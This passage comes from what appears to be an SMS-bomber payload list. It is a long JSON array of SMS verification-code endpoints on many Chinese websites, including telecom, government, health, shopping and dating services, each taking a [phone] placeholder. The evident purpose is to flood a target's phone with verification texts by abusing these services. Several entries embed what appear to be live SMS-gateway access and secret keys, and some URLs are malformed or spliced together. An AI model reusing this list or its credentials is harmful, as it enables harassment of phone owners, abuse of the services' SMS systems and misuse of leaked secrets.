\"http://home.ecook.cn/user/getVerifyCode?phone=[phone]\",\n    \"http://hy.hryouxi.com/HRPF/website/sendSMS.do?phone=[phone]\",\n    \"http://hyuser.91huayi.com/ashx/sendSmsValidateCode.ashx?mobile=[phone]\",\n    \"http://i.360.cn/smsApi/sendsmscode?condition=2&amp;r=&amp;callback=&amp;account=[phone]\",\n    \"http://i.im.etiantian.net/app-common-service/getPhoneValidateCodeForAixue.do?time=1563804384352&amp;appId=561&amp;typeId=1&amp;uType=6&amp;phoneNum=[phone]&amp;sign=MjhhOTc4YzQ3YjBhZmFhZmRmZDkzY2ViMzRmZmM3ZjA\",\n    \"http://i.im.etiantian.net/app-common-service/getPhoneValidateCodeForAixue.do?time=1563804384352&appId=561&typeId=1&uType=6&phoneNum=[phone]\",\n    \"http://i.kuwo.cn/US/2014/api/send_sms.jsp?mobile=[phone]\",\n    \"http://i.pptv.com/2015usercenter/api/sendphonecode/?phoneNum=[phone]\",\n    \"http://i.zhaopin.com/Login/LoginApi/SendBindSms?jsoncallback=jQuery16402676061029242586_1454143948438&amp;businessType=C-Bind&amp;t=1454143948656&amp;_=1454143948656&amp;mobile=[phone]\",\n    \"http://i.zhaopin.com/Login/LoginApi/SendBindSms?jsoncallback=jQuery16402676061029242586_1454143948438&businessType=C-Bind&t=1454143948656&_=1454143948656&mobile=[phone]\",\n    \"http://iclass.ruijie.com.cn/icmgr/rest/techReg/sms?timeStamp=1605428709505&phoneNo=[phone]\",\n    \"http://id.ifeng.com/api/simplesendmsg?mobile=[phone]\",\n    \"http://id.ifeng.com/api/simplesendmsg?mobile=[phone]&amp;comefrom=7&amp;auth=&amp;msgtype=0\",\n    \"http://id.ifeng.com/api/simplesendmsg?mobile=[phone]&comefrom=7&auth=&msgtype=0\",\n    \"http://id.ourgame.com/mobilepassport!getMobileYzm.do?passport=[phone]\",\n    \"http://imfreecall.3158.cn/index.php/call?CB=WebFreeCall.callResult&C=60098&T=[phone]\",\n    \"http://imfreecall.3158.cn/index.php/call?CB=WebFreeCall.callResult&amp;C=60098&amp;T=[phone]\",\n    \"http://interface.flnet.com/IAccount/GetRegisterSMSCode?cellphone=[phone]\",\n    \"http://iu.snssdk.com/user/mobile/send_code/?iid=80794405933&amp;type=1&amp;mobile=[phone]&amp;ac=WIFI&amp;channel=App Store&amp;app_name=joke_zone&amp;aid=27&amp;version_code=2.2.0&amp;device_platform=iphone&amp;os_version=12.4&amp;device_type=iPhone8,1&amp;device_id=68923678300&amp;vid=FFAA4EA8-1E5C-4EA0-9A1E\",\n    \"http://iu.snssdk.com/user/mobile/send_code/?iid=80794405933&amp;type=1&amp;mobile=[phone]&amp;ac=WIFI&amp;channel=App%20Store&amp;app_name=joke_zone&amp;aid=27&amp;version_code=2.2.0&amp;device_platform=iphone&amp;os_version=12.4&amp;device_type=iPhone8,1&amp;device_id=68923678300&amp;vid=FFAA4EA8-1E5C-4EA0-9A1E\",\n    \"http://iu.snssdk.com/user/mobile/send_code/?iid=80794405933&type=1&mobile=[phone]\",\n    \"http://j.esf.leju.com/ucenter/islejuuser?mobile=[phone]\",\n    \"http://jnggzy.jinan.gov.cn/jnggzyztb/regist_gys/putPhone.do?aa=Math.random()&amp;phone=[phone]\",\n    \"http://jnggzy.jinan.gov.cn/jnggzyztb/regist_gys/putPhone.do?aa=Math.random()&phone=[phone]\",\n    \"http://john.huainanhai.com/mobile/send_mobile_code_v2?phone_no=86-[phone]\",\n    \"http://juniorapi.gzxiangqi.cn/juniorAccounts/v2/getCode/3/[phone]\",\n    \"http://jx.kuwo.cn/KuwoLivePhone/user/sendSMS?mobile=[phone]\",\n    \"http://jz.gymchina.com/api/user/getVerificationCode.json?phone=[phone]&amp;platform=and&amp;sid=43d54311742a6c62a11ef8b64d8c7ac1&amp;brand=OPPO&amp;version=2.2.6&amp;appName=tomato&amp;partner=xiaomi&amp;model=PCRT00\",\n    \"http://jzplatform.com/distributor/sendcode_do.php e.account=[phone]\",\n    \"http://jzplatform.com/distributor/sendcode_do.phpe.account=[phone]\",\n    \"http://ketang.ldcstudy.com/nsuser/h5/getCode.vm?phone=[phone]\",\n    \"http://ketang.ldcstudy.com/nsuser/h5/getCode.vm?phone=[phone]&amp;servicekey=\",\n    \"http://koudaitong.com/v2/common/sms/captcha.jsonp?callback=jQuery1102020099561656467435_1430461129946&amp;verifyTimes=1&amp;biz=kdt_account_captcha&amp;_=1430461129949&amp;mobile=[phone]\",\n    \"http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102009139976025888258_1433746978224&amp;captcha_code=7998&amp;_=1433746978226&amp;mobile=[phone]\",\n    \"http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102009139976025888258_1433746978224&captcha_code=7998&_=1433746978226&mobile=[phone]\",\n    \"http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102020099561656467435_1430461129946&amp;captcha_code=0722&amp;_=1430461129948&amp;mobile=[phone]\",\n    \"http://koudaitong.com/v2/common/sms/imgcaptcha.jsonp?callback=jQuery1102020099561656467435_1430461129946&captcha_code=0722&_=1430461129948&mobile=[phone]\",\n    \"http://kyddn.log56.com/sq_server/verifyCode.action?mobile_no=[phone]\",\n    \"http://ld.liandan100.com/ldmgr/api/user/sendVerifySms?platform=1&amp;versionNum=53&amp;&amp;r=&amp;partnerId=[phone]\",\n    \"http://ld.liandan100.com/ldmgr/api/user/sendVerifySms?platform=1&versionNum=53&&r=&partnerId=[phone]\",\n    \"http://liuyan.people.com.cn/verifycode/rand4?t=1603181060151&verCode=phoneNum=[phone]\",\n    \"http://lndx.edu.cn/Third/Mobile_SMS?Mobile=[phone]&beCallPhone=15810904000\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=0\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=1\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=10\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=11\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=12\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=13\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=14\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=15\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=16\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=17\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=18\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=19\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=2\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=20\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=21\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=22\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=23\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=24\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=25\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=3\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=4\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=5\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=6\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=7\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=8\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&amp;type=9\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=0\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=1\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=10\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=11\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=12\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=13\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=14\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=15\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=16\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=17\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=18\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=19\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=2\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=20\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=21\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=22\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=23\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=24\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=25\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=3\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=4\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=5\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=6\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=7\",\n    \"http://m.10010.com/mall-mobile/CheckMessage/captcha?phoneVal=[phone]&type=9\",\n    \"http://m.1mi.cn/wap/user/mobile_verify.json?mobile=[phone]&amp;flag=0&amp;identifying=\",\n    \"http://m.aihuaju.com/wap/index.php?act=security&amp;op=send_reg_mobile&amp;mobile=[phone]\",\n    \"http://m.anjuke.com/general/sendphonecode?phone=[phone]&amp;captcha=\",\n    \"http://m.anjuke.com/general/sendphonecode?phone=[phone]&captcha=\",\n    \"http://m.api.cetv.cn/v2/member?app_version=2.1.0&amp;sign=f631db0bcb5fabc1b76679d9480e4f73&amp;device_id=74:4A:A4:A6:B0:63&amp;time=1561078945566&amp;mobile=[phone]&amp;system_name=android&amp;ip=192.168.43.217&amp;siteid=10001&amp;clientid=1&amp;modules=needcaptcha:1&amp;type=android\",\n    \"http://m.api.cetv.cn/v2/member?app_version=2.1.0&sign=f631db0bcb5fabc1b76679d9480e4f73&device_id=74:4A:A4:A6:B0:63&time=1561078945566&mobile=[phone]\",\n    \"http://m.bidcenter.com.cn/JsonHandler/QuickRegisterValidateCode.aspx?mobiles=[phone]\",\n    \"http://m.cqrenrenle.com/v3/users/code?mobile=[phone]&amp;from=reg&amp;packagename=com.feifan.app&amp;platform=android\",\n    \"http://m.egou.com/validate_phone.htm?phone=[phone]\",\n    \"http://m.fanli.com/invite/sendverifycode?jsoncallback=jsonp2&amp;pos=601&amp;t=1488608297799&amp;mobile=[phone]\",\n    \"http://m.fanli.com/invite/sendverifycode?jsoncallback=jsonp2&pos=601&t=1488608297799&mobile=[phone]\",\n    \"http://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&amp;deviceType=SM-G9300&amp;timestamp=1545122608&amp;app=0&amp;platform=3&amp;app_key=PAHealth&amp;osversion=23&amp;info=&amp;version=1.0.1&amp;resolution=1440x2560&amp;screenSize=22&amp;netType=1&amp;channel=m_h5&amp;phone=[phone]\",\n    \"http://m.health.pingan.com/mapi/smsCode.json?deviceId=5a4c935cbb6ff6ca&deviceType=SM-G9300&timestamp=1545122608&app=0&platform=3&app_key=PAHealth&osversion=23&info=&version=1.0.1&resolution=1440x2560&screenSize=22&netType=1&channel=m_h5&phone=[phone]\",\n    \"http://m.huibo.com/register/getAuthCode?txtPhone=[phone]\",\n    \"http://m.ikuyu.cn/login/getvcode?phone=[phone]\",\n    \"http://m.jianshe99.com/m_member/member/mobile_register/resendMsg.shtm?jsonpCallback=&_=&mobilePhone=[phone]\",\n    \"http://m.jianshe99.com/m_member/member/mobile_register/resendMsg.shtm?jsonpCallback=&amp;_=&amp;mobilePhone=[phone]\",\n    \"http://m.jiguo.com/mb/api/validatecode/color/mb.html?d=0.7554753933168952&vcode=tel=[phone]\",\n    \"http://m.login.httpcn.com/login/LoginCode?callbackparam=jQuery111106766551584217104_1592824186799&amp;val=[phone]&amp;_=1592824186801\",\n    \"http://m.logofree.cn/misc.php?act=send_sms&amp;m=[phone]\",\n    \"http://m.logofree.cn/misc.php?act=send_sms&amp;m=[phone]&amp;token=f3c95f20b6628ae17a40111ebf4170e8\",\n    \"http://m.logofree.cn/misc.php?act=send_sms&m=[phone]\",\n    \"http://m.nsyh001.com/user/ajax/Btnmobileverify?user_name=[phone]\",\n    \"http://m.renwo.com/Ajax/json.ashx?at=sendregsmsvcode&amp;m=1&amp;mobile=[phone]&amp;_=1551173567899\",\n    \"http://m.renwo.com/Ajax/json.ashx?at=sendregsmsvcode&amp;m=1&amp;mobile=[phone]&amp;_=1551173567991\",\n    \"http://m.renwo.com/Ajax/json.ashx?at=sendregsmsvcode&m=1&mobile=[phone]\",\n    \"http://m.robotest.cn/user/sms.html?tel=[phone]\",\n    \"http://m.robotest.cn/user/sms.html?tel=[phone]&amp;hash=9f82736455da1c53\",\n    \"http://m.shanzhen.me/sz/index/smsverifyp?phone=[phone]\",\n    \"http://m.sjingbang.com/api/app/sendSmsCode%2522,%2522rediskey%2522:%2522AppRegValidate%2522,%2522gjdqCode%2522:%252286%2522%257D&_1600248070800=[phone]\",\n    \"http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile=[phone]\",\n    \"http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile=[phone]&amp;comefrom=7&amp;auth=&amp;msgtype=0\",\n    \"http://m.tk.cn/tkmobile/service/member?function_code=dynamicLogin&amp;login_mobile=[phone]\",\n    \"http://m.tk.cn/tkmobile/service/member?function_code=dynamicLogin&login_mobile=[phone]\",\n    \"http://m.tk.cn:80/tkmobile/orderSentSmsServlet?mobile=[phone]\",\n    \"http://m.xymens.com/index.php/Home/User/send_code?mobile=[phone]\",\n    \"http://m.yaya.cn/tools/web_submit.ashx?action=reg_get_mobile_code&amp;mobile=[phone]\",\n    \"http://m.yhk188.com/register/sendAppRegMsg.dos?channel=1&amp;mobilephone=[phone]&amp;time=8a0aae56fd56e3d023102a88e57a4a594a1625c5769a666d42a35e5b5933c01b&amp;type=1&amp;version=1.6.1\",\n    \"http://m.yst.com.cn/pc/code/phone/regist?phone=[phone]\",\n    \"http://m.zhenai.com/v2/register/resendMobileCode.do?baseInfo2.serviceMobile=[phone]\",\n    \"http://maintain.yunzhandata.com/internal/customer/sendcode.json?mobile=[phone]\",\n    \"http://mall.95572.com/mobile/member/register/web/captcha?mobile=[phone]\",\n    \"http://mall.juzifenqi.com/termi/sendVerifySMSVH?mobile=[phone]&amp;flag=1&amp;verifyCode=\",\n    \"http://mall.juzifenqi.com/termi/sendVerifySMSVH?mobile=[phone]&flag=1&verifyCode=\",\n    \"http://manage.univisa.cn/posts/random?callback=jQuery111308764434818808016_1596972033456&phone=target=mobile&mobile=[phone]\",\n    \"http://meeting.csco.org.cn/Admin/VerificationCode/?type=1&v=1&id=1&email=&checkcode=ipass=0&mobile=[phone]\",\n    \"http://member.cabplink.com/sso/sendRegisterSMS.zaction?mobile=[phone]\",\n    \"http://member.ehaier.com/sendMobileSmsVerify.html?mobile=[phone]\",\n    \"http://member.for68.com/member/consult/sendRandcode.shtm?mobilePhone=[phone]\",\n    \"http://member.med66.com/uc/smscode?phone=[phone]\",\n    \"http://mkxq.zymk.cn/user/v1/mobilevc/?callback=jQuery321016123103253181426_1503210785449&amp;mobile=[phone]&amp;service=mkn&amp;_=1503210785451 \",\n    \"http://mkxq.zymk.cn/user/v1/mobilevc/?callback=jQuery321016123103253181426_1503210785449&mobile=[phone]&service=mkn&_=1503210785451\",\n    \"http://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&amp;phone=[phone]\",\n    \"http://mobile.health.pingan.com/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]\",\n    \"http://mobile.health.pingan.com:80/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&amp;phone=[phone]\",\n    \"http://mobile.health.pingan.com:80/ehis-hl/ajax/sendOTP.action?smscc=ehiswxonly&phone=[phone]\",\n    \"http://mobile.yougou.com/v_1.8/quicklyLoginMobileverify?username=[phone]\",\n    \"http://msg.106117.com/submit_ajax.ashx?callback=jQuery11120017795995642418072_1558097551516&amp;username=[phone]&amp;action=getValidate&amp;_=1558097551517\",\n    \"http://my.baihe.com/Getinterregist/captchaAndRegCheck?account=[phone]\",\n    \"http://my.baihe.com/Getinterregist/captchaAndRegCheck?account=[phone]&amp;type=1\",\n    \"http://my.baihe.com/Getinterregist/getPhoneVerifyCode?jsonCallBack=jQuery18306001467584540825_1439706800918&amp;type=2&amp;phone=[phone]&amp;_=1439707017074\",\n    \"http://my.baihe.com/Getinterregist/getPhoneVerifyCode?jsonCallBack=jQuery18306001467584540825_1439706800918&type=2&phone=[phone]&_=1439707017074\",\n    \"http://my.cnki.net/elibregister/Server.aspx?mobile=[phone]\",\n    \"http://my.cnki.net/elibregister/Server.aspx?mobile=[phone]&amp;temp=1551691791466&amp;operatetype=2\",\n    \"http://my.ikang.com/loginUserReg/getGenerateCode?phone=[phone]\",\n    \"http://ndapi.nexttao.com/api/user/request_mobile_code?mobile=[phone]\",\n    \"http://newm.yktour.com.cn/api/captcha/login/info/get?mobile=[phone]\",\n    \"http://newweb.lumiai.com/api/isecurity/sms_captcha?mobile=[phone]\",\n    \"http://open.leju.com/game/member/sendcode.html?phone=[phone]\",\n    \"http://open.zhundao.com.cn/api/v2/senCode?&phoneOrEmail=[phone]\",\n    \"http://park.chemi.ren//serverpark/index.php/Api/Mobileapi/getCode?phone=[phone]\",\n    \"http://park.chemi.ren//serverpark/index.php/Api/Mobileapi/getCode?phone=[phone]&amp;action=codeLogin&amp;type=sms&amp;client=android&amp;version=2.4\",\n    \"http://pass.hujiang.com/Handler/UCenter?action=SendMsg&amp;callback=&amp;imgCode=&amp;token=&amp;_=&amp;mobile=[phone]\",\n    \"http://pass.hujiang.com/Handler/UCenter?action=SendMsg&callback=&imgCode=&token=&_=&mobile=[phone]\",\n    \"http://passport.12371.cn/security/getMobileCode?type=regist&mobile=[phone]\",\n    \"http://passport.17house.com/login/sendSMSForMobileLogin?mobile=[phone]\",\n    \"http://passport.58.com/mobileauthcodelogin/getcode?valIDAtecode=?=true&amp;source=m-my&amp;callback=jsonp_callback2&amp;mobile=[phone]\",\n    \"http://passport.58.com/mobileauthcodelogin/getcode?validatecode=?=true&amp;source=m-my&amp;callback=jsonp_callback2&amp;mobile=[phone]\",\n    \"http://passport.aplus.pptv.com/2015usercenter/api/sendphonecode/?phoneNum=[phone]\",\n    \"http://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.020283224898892227?mobileNo=[phone]&amp;geetest_challenge=&amp;geetest_validate=&amp;geetest_seccode=\",\n    \"http://passport.ceair.com/cesso/mobile!geetCheck.shtml?_0.020283224898892227?mobileNo=[phone]&geetest_challenge=&geetest_validate=&geetest_seccode=\",\n    \"http://passport.centanet.com/m/page/ajax/20C79442F06E.ashx?Act=SetCode&amp;phone=[phone]\",\n    \"http://passport.centanet.com/m/page/ajax/20C79442F06E.ashx?Act=SetCode+phone=[phone]\",\n    \"http://passport.chinahr.com/ajax/m/sendCode/[phone]?tmpid=1957&amp;from=2&amp;imgCode=\",\n    \"http://passport.chinahr.com/ajax/m/sendCode/[phone]?tmpid=1957&from=2&imgCode=\",\n    \"http://passport.chinahr.com/ajax/m/sendCode/[phone]?tmpid=773\",\n    \"http://passport.cnmo.com/index.php?c=Member_Ajax_Register&amp;m=SendMessageCode&amp;Jsoncallback=jQuery18301483604325027934_1570445210207&amp;mobile=[phone]\",\n    \"http://passport.csdn.net/account/mobileregister?action=sendMobileCode&amp;mobile=[phone]\",\n    \"http://passport.csdn.net/account/mobileregister?action=sendMobileCode&mobile=[phone]\",\n    \"http://passport.ctrl.cn/sms/reg?mobile=[phone]\",\n    \"http://passport.fang.com/loginsendmsm.api?MobilePhone=[phone]\",\n    \"http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947590&Service=home-club-web&backurl=&mobilephone=[phone]\",\n    \"http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947590&amp;Service=home-club-web&amp;backurl=&amp;mobilephone=[phone]\",\n    \"http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947591&Service=home-club-web&backurl=&mobilephone=[phone]\",\n    \"http://passport.fang.com/loginsendmsm.api?callback=jsonp1475917947591&amp;Service=home-club-web&amp;backurl=&amp;mobilephone=[phone]\",\n    \"http://passport.fanli.com/login/ajaxLoginSendVerfiycode?jsoncallback=jQuery183044493322381181954_1486714320243&amp;pos=601&amp;mobile=[phone]&amp;_=1486714329485\",\n    \"http://passport.fanli.com/login/ajaxLoginSendVerfiycode?jsoncallback=jQuery183044493322381181954_1486714320243&pos=601&mobile=[phone]&_=1486714329485\",\n    \"http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&amp;mobile=[phone]\",\n    \"http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&amp;mobile=[phone]&amp;mobilestep=1&amp;verification_code=&amp;verify_flag=&amp;verify_global=ma624mg0j80trr7ldvwcl15c1f&amp;c_aver=1.0&amp;c_src=2&amp;c_v=5.3.1.24&amp;devid=63599267906091\",\n    \"http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&mobile=[phone]\",\n    \"http://passport.fanli.com/mobileapi/i/user/mobileFastReg?deviceno=860903034476055&mobile=[phone]&mobilestep=1&verification_code=&verify_flag=&verify_global=ma624mg0j80trr7ldvwcl15c1f&c_aver=1.0&c_src=2&c_v=5.3.1.24&devid=63599267906091\",\n    \"http://passport.jcard.cn/Service/AjaxSendCodeService.aspx?doType=sendextcode&_=1445158370&mobile=[phone]\",\n    \"http://passport.jcard.cn/Service/AjaxSendCodeService.aspx?doType=sendextcode&amp;_=1445158370&amp;mobile=[phone]\",\n    \"http://passport.ks5u.com/RPAjax.ashx?Param=009&PhoneNum=[phone]\",\n    \"http://passport.ks5u.com/RPAjax.ashx?Param=009&amp;PhoneNum=[phone]\",\n    \"http://passport2.chaoxing.com/num/phonecode?phone=[phone]\",\n    \"http://passport2.chaoxing.com/num/phonecode?phone=[phone]&amp;needcode=false\",\n    \"http://passport2.chaoxing.com/num/phonecode?phone=http://s.juntu.com/member/index/getLoginCode?mobile=[phone]\",\n    \"http://photograph.yuanlikj.cn/send/Send?appName=%E6%88%AA%E5%9B%BE%E7%A7%80-%E5%AF%B9%E8%AF%9D%E7%94%9F%E6%88%90%E5%99%A8&amp;TELMobile=[phone]\",\n    \"http://photograph.yuanlikj.cn/send/Send?appName=截图秀-对话生成器&amp;TELMobile=[phone]\",\n    \"http://prod.layadmin.cn/api/message/sendV2?app_id=1&amp;version=1.4.0&amp;channel_id=001&amp;phone=[phone]\",\n    \"http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]\",\n    \"http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]&amp;appId=www_home&amp;v=2&amp;sig=&amp;t=1592615855903&amp;v=2\",\n    \"http://ptlogin.4399.com/ptlogin/sendPhoneLoginCode.do?phone=[phone]&appId=www_home&v=2&sig=&t=1592615855903&v=2\",\n    \"http://ptlogin.4399.com/ptlogin/sendRegPhoneCode.do?phone=[phone]\",\n    \"http://quan.lukou.com/api/sms/verification_code?phone=[phone]\",\n    \"http://quan.lukou.com/api/sms/verification_code?phone=[phone]&amp;sign=74F59C2BB6F3830D6EB835FDA7550EB7&amp;t=1564024638\",\n    \"http://readapp.ddyvip.cn/app/user/sendLoginCode.api?appVersion=2.4.4&inviteCode=&mobile=[phone]\",\n    \"http://reg.lenovo.com.cn/captcha/canSend?mobile=[phone]&amp;callback=getMobileCode&amp;_=1480296216538\",\n    \"http://reg.suning.com/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&amp;phoneNum=[phone]\",\n    \"http://reg.suning.com/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&phoneNum=[phone]\",\n    \"http://reg.suning.com/srs-web/ajax/code/sms.do?scen=PERSON_MOBILE_REG_VERIFY_MOBILE&amp;phoneNum=[phone]&amp;uid=&amp;code=\",\n    \"http://reg.suning.com/srs-web/ajax/code/sms.do?scen=PERSON_MOBILE_REG_VERIFY_MOBILE&phoneNum=[phone]&uid=&code=\",\n    \"http://reg.suning.com:80/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&amp;phoneNum=[phone]\",\n    \"http://reg.suning.com:80/ajax/code/sms.do?scen=WAP_WCHAT_PUB_ACCT_UNION_LOGIN_MOBILE_REG&phoneNum=[phone]\",\n    \"http://reg.uuyoyo.com/AshxHandler/AjaxRegHandler.ashx?action=reg_phone_code_send&amp;_=&amp;phone=[phone]\",\n    \"http://ruzhu.jd.com/user/sendVC?phone=[phone]\",\n    \"http://sapi.16888.com/app.php?mod=account&amp;extra=mobileCode&amp;mobile=[phone]\",\n    \"http://sapi.16888.com/app.php?mod=account&extra=mobileCode&mobile=[phone]\",\n    \"http://shop.shtv.net.cn/ShopWeb/Ajax/ChkSMSCode.ashx?t=0.016637186912638713&MobileCode=&type=user-registerphoneNo=[phone]\",\n    \"http://skyapp.mackentan.com/app/v5/login/verifyuser.do?t=1565488775000&amp;did=EVrRL0SJdF8b4aa87b41&amp;ver=170&amp;it=434857&amp;username=[phone]&amp;fit=434857&amp;sign=df42d291c6c8487aab384f3da2f5a42f6920e76b&amp;appid=com.jediapp.changgejiaoxue&amp;idfa=5C351103-F887-4932-BC59-58C75875EFDE\",\n    \"http://slb-sport.vesal.cn/vesal-sport-prod/v1/app/member/getCode?tellAndEmail=[phone]\",\n    \"http://slb-sport.vesal.cn:80/vesal-sport-prod/v1/app/member/getCode?tellAndEmail=[phone]\",\n    \"http://sms.321mh.com/user/v1/sendsms?mobile=[phone]&amp;service=zymk&amp;countryCode=&amp;imgCode=&amp;refresh=0&amp;localtime=&amp;client-channel=store_tencent&amp;loglevel=3&amp;client-type=android&amp;client-version=4.9.1\",\n    \"http://sms.bechtech.cn/Api/send/data/json?accesskey=1730&amp;secretkey=3f198068c6b5c1036f9b38ae0690cc244695a247&amp;mobile=[phone]&amp;content=%E6%82%A8%E7%9A%84%E6%89%8B%E6%9C%BA%E9%AA%8C%E8%AF%81%E7%A0%81%E4%B8%BA%EF%BC%9A3973+%EF%BC%8C%E8%AF%A5%E9%AA%8C%E8%AF%81%E7%A0%8110%\",\n    \"http://sms.bechtech.cn/Api/send/data/json?accesskey=1730&amp;secretkey=3f198068c6b5c1036f9b38ae0690cc244695a247&amp;mobile=[phone]&amp;content=您的手机验证码为：3973+，该验证码10%\",\n    \"http://sms.bechtech.cn/Api/send/data/json?accesskey=1730&secretkey=3f198068c6b5c1036f9b38ae0690cc244695a247&mobile=[phone]\",\n    \"http://smsspub.mail.163.com/mobileserv/fsms.do?product=AndroidMail&amp;template=ds&amp;callback=sendCallback0&amp;_=1430485975547&amp;mobile=[phone]\",\n    \"http://smsspub.mail.163.com/mobileserv/fsms.do?product=AndroidMail&template=ds&callback=sendCallback0&_=1430485975547&mobile=[phone]\",\n    \"http://spi.lakala.com/wechat/weixin/signUp/getSMSCode.do?Mobile=[phone]\",\n    \"http://splus.bianfeng.com/index.php?r=findAccount/SendCode&amp;rnd=&amp;a=[phone]\",\n    \"http://splus.bianfeng.com/index.php?r=findAccount/SendCode&rnd=&a=[phone]\",\n    \"http://srmemberapp.srgow.com/sys/captcha/://gj.liansuosoft.com/ShopRegister/SendSms?mobile=[phone]\",\n    \"http://srmemberapp.srgow.com/sys/captcha/[phone]\",\n    \"http://sso.toutiao.com/send_activation_code/?mobile=[phone]\",\n    \"http://sso1.nlc.cn/sso/currency/sendCodeToMobile?mobile=[phone]\",\n    \"http://store.ncpa-classic.com/api/comm/smsNew?callback=jQuery17202866925711954793_1605436223502&mobile=[phone]\",\n    \"http://survey.dxy.cn/forms/public/survey2/captcha?sid=102998&amp;itemid=127053&amp;phone=[phone]\",\n    \"http://survey.dxy.cn/forms/public/survey2/captcha?sid=102998&itemid=127053&phone=[phone]\",\n    